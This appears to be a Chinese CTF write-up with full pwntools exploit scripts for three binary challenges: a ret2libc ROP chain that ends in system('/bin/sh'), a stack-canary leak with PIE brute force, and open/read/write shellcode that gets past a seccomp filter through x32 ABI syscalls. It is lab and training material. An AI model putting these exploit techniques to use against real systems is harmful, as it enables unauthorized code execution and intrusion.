0x00 前言

pwn都挺难的,做完三道就跑去写密码了…

0x01 题解部分

libc

ret2libc即可, libc 大概是2.35吧

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/lllibc'
elf=ELF(file)
libc=ELF('/mnt/c/Users/Z2023/Desktop/libc6_2.35-0ubuntu3.7_amd64.so')


choice = 0x001
if choice:
port= 25467
xuanyuan= '27.25.151.26'
p = remote(xuanyuan,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
# gdb.attach(p,'b *$rebase(0x000000000000156B)')

write_got = elf.got['write']
write_plt = elf.plt['write']
pop_rdi = 0x000000000040117e
pop_rsi = 0x0000000000401180
pop_rdx = 0x0000000000401182
vuln = 0x00000000004011EC
ret = 0x000000000040101a

payload = b'a'*(0x10+8)
payload += flat(pop_rdi,1,pop_rsi,write_got,pop_rdx,0x10,write_plt,vuln)
sa('Libc how to win?\n',payload)

write_addr = uru64()
leak('write_addr')

libc_base = write_addr - libc.sym['write']
leak('libc_base')

system,binsh = get_sb()
payload = b'a'*(0x10+8)
payload += flat(ret,pop_rdi,binsh,system,vuln)
debug()
sa('Libc how to win?\n',payload)

itr()

it_is_a_canary

泄露canary + 爆破pie

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/it_is_a_canary'
elf=ELF(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

# debug()

for num in range(15):
num = num << 12
p = remote('27.25.151.26',32189)
# p = process(file)
sla('Is it a canary?\n',b'a'*23+b'b')
ru('b')
r(1)
canary = uu64(r(7).rjust(8,b'\x00'))
leak('canary')

payload = p64(canary)
payload = payload.rjust(0x20,b'a')
payload += b'a'*8
payload += p16(0x265+num)
s(payload)
ru('What is PIE?\n')
sl(b'cat /flag')
buf = p.recv()
if b"timeout: the monitored command dumped core\n" in buf:
continue
break

itr()

babyshellcode

有沙箱,只允許or,

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x05 0x00 0x40000000 if (A >= 0x40000000) goto 0009
0004: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0009
0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW

本来以为又是一道侧信道,但是用着沙箱条件搜索了一下可以有别的解决方法:参考

因为这个题目允许调用号不小于0x40000000的系统调用,所以可以直接调用x32 abi,shellcode如下:

shellcode = asm('''
lea rax,[rip]
add rax,0x200
mov rsp,rax ; 因为rsp被清空,先将栈迁移至可读写位置

mov eax,0x67616c66 ; 'flag'
push rax
mov rdi,rsp
xor rsi,rsi
mov rax,0x40000002 ; open
syscall

mov rdi,rax
mov rax,rsp
add rax,0x100
mov rsi,rax
mov rdx,0x40
mov rax,0x40000000 ; read
syscall

mov edi,2
mov rax,0x40000001 ; write
syscall''')

而且题目看似有长度限制,实则不然,我们看看我们搬的这段shellcode:

刚好在第三字节的位置生成了b'\x00', 刚好绕过了长度检测